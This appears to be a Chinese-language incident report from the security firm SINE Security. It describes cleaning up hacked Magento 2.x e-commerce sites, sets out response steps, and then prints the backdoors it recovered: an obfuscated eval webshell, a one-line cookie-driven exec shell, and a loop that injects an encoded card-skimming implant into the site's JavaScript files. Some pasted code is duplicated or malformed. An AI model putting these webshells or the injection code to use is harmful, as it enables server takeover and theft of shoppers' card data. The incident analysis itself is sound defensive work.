Magento是最受欢迎的外贸电商框架之一,很多企业已经在其基础上进行了二次开发。然而,对于使用2.x版本的老系统来说,安全问题也成为了一大难题。有些客户在找我们SINESAFE做网站安全服务之前,客户也找过建站的公司去清除后门,建站公司也将系统迁移升级到了最新的2.4.4版本,但后来发现问题并没有完全的解决,还是会反复的被篡改代码和用户的支付页面被劫持跳转,问题的根源是代码里已经被黑客植入后门了,数据库也被留了木马病毒,这个时候不光是要升级magento到最新版本,还得要把木马后门给彻底的清理掉,做好安全加固和防护,才能彻底的解决这个问题。
因为2022年以前的Maganto 2.x版本存在很多漏洞,像远程代码执行漏洞、SQL注入漏洞都是比较高危的,如果不及时升级到2.x版本就很容易被黑客攻击。但是,即使升级到2.x版本,也不代表完全解决了安全问题。因此,针对这种情况,企业需要认真评估自身的安全风险,并采取措施进行安全加固。具体来说,可以通过加强访问控制、强化数据保护等方式来提高系统安全性。同时,定期对系统进行漏洞扫描和代码安全审计,及时修补代码漏洞和加强网站的安全防护,也是减轻安全风险的有效措施。
我们SINE安全处理了很多外贸客户使用magento被黑客入侵的安全问题,虽然在国内Magento并不被广泛使用,但它在国外却十分流行。然而,一些老版本的Magento很容易被攻击者通过框架拿shell等方式入侵。以下就是我们SINE安全处理客户的magento被黑客攻击的过程记录:
排查黑客攻击的问题时,很容易陷入只分析日志等细节的误区。其实,在进行任何分析之前,我们都需要先做以下几件事情:
第一,核实信息。这就像是我们在找错问题之前,需要先了解出现问题的具体细节和当前服务器的环境情况。
第二,断开服务器的外网链接,保障安全。这就像是把自家的大门关上,不让坏人轻松进入。
第三,保存服务器的环境,以及现场的各种信息,如端口网络、应用程序、日志文件等。这样,就像是在证据链中留下关键的线索,更有利于我们查找和分析问题,而且要注意不要有写操作哦!
在现场环境中,虽然我们可能无法找到确切的问题所在,但是可以通过查看历史日志,来检查是否存在服务器linux系统被提权等可疑行为。如果使用了chkrootkit、rkthunter和lynis等安全扫描工具,也未发现任何问题,那还是建议客户考虑更换服务器,以避免潜在的安全风险。
我们SINE安全首先从web层面去看,分析了网站访问日志,nginx日志,数据库日志发现有许多黑客攻击的痕迹,利用的都是Magento的一些高危漏洞进行的,也可以说明网站被入侵是由于magento低版本存在漏洞导致,我们立即展开对系统以及源代码的安全审计,人工去分析每一行代码,通过我们的检测,发现4个木马后门,如下:
<?php $VKGPOZ="JG\1061dGhfcGFzcyA9ICI2Yz\x454NmIwY2\x45\x34ZjFmY2JiO\107I0NGRmO\104gy\x4dTZl\x4dGNkN\x69I7CiRjb2xvc\x69A\x39ICIjZG\x59\061IjsKJGRlZm\x46\061bHRf\131\127\x4e0aW9uI\1040g\112\060ZpbGVz\124\127FuJzsKJGR\x6cZ\x6d\x461bH\x52fdXNlX2F\161YXg\147PSB0\x63\x6e\126\x6c\x4fwokZ\107VmYXVsdF9ja\x47Fyc2V0ID0gJ1dpbmRvd3MtMT\1111\115\x53\x637\103\147ppZighZ\x571\x77dHkoJF\071TRVJWRV\x4ab\x4a0hU\126FBfVVNFUl9B\x520VOV\x43d\144\113Skgew\157gICA\x67JH\x56zZXJBZ\062VudHM\147\120\123Bhcn\112heSgiR2\071v\x5a2x\x6cIiwg\111\x6c\116sdXJw\x49\151wgI\x6b1\x54Tk\112vdCI\163\x49C\112pYV9hcmN\157aXZlcibmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(_decode($VKGPOZ)); ?>
bmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(_decode($VKGPOZ)); ?>
<?php
var_dump(@exec(_decode($_COOKIE['callback'])));?>
foreach (glob("/www/wwwroot/dev.******.com/pub/static/_cache/merged/*.js") as $filename) {
if (!preg_match("/lG68xv3NXN/", file_get_contents($filename))) {
file_put_contents($filename, _decode($implant), FILE_APPEND);
echo "updated: {$filename}\n";
} else {
echo "ok: {$filename}\n";
}
}
通过上面的代码我们可以发现都是一些webshell木马后门,像filemanPHP大马,一句话木马,以及定时篡改网站全部JS功能的代码,通过分析,我们SINE安全发现黑客入侵的目的不是为了挂马和挂黑链,而是为了盗取用户的信用卡信息,用于盗刷。我们对黑客植入到JS的代码进行了分析与解密,发现该JS代码是用来记录用户的信用卡信息,针对Magento支付相关页面(onepage|checkout|onestep|payment|transaction)中所有的表单信息,也会判断来路是从
const domains =["securecode.com","psncdn.com","googleadservices.com","googletagmanager.com","google.com"];"apprater.net","shopperapproved.com","chromecast-setup.com","ssl-images-amazon.com","google.com"];的用户,会将信用卡的信息POST发送到黑客的指定网站上。
看来黑客的目的就是为了要盗取用户的信用卡信息,用于盗刷来获取巨大的利益。道高一尺魔高一丈,我们SINE安全十多年来一直与黑灰产进行对抗,通过此次帮客户处理的magento的安全问题,我们又总结了新的经验,也希望分享这个处理过程让大家有所收获。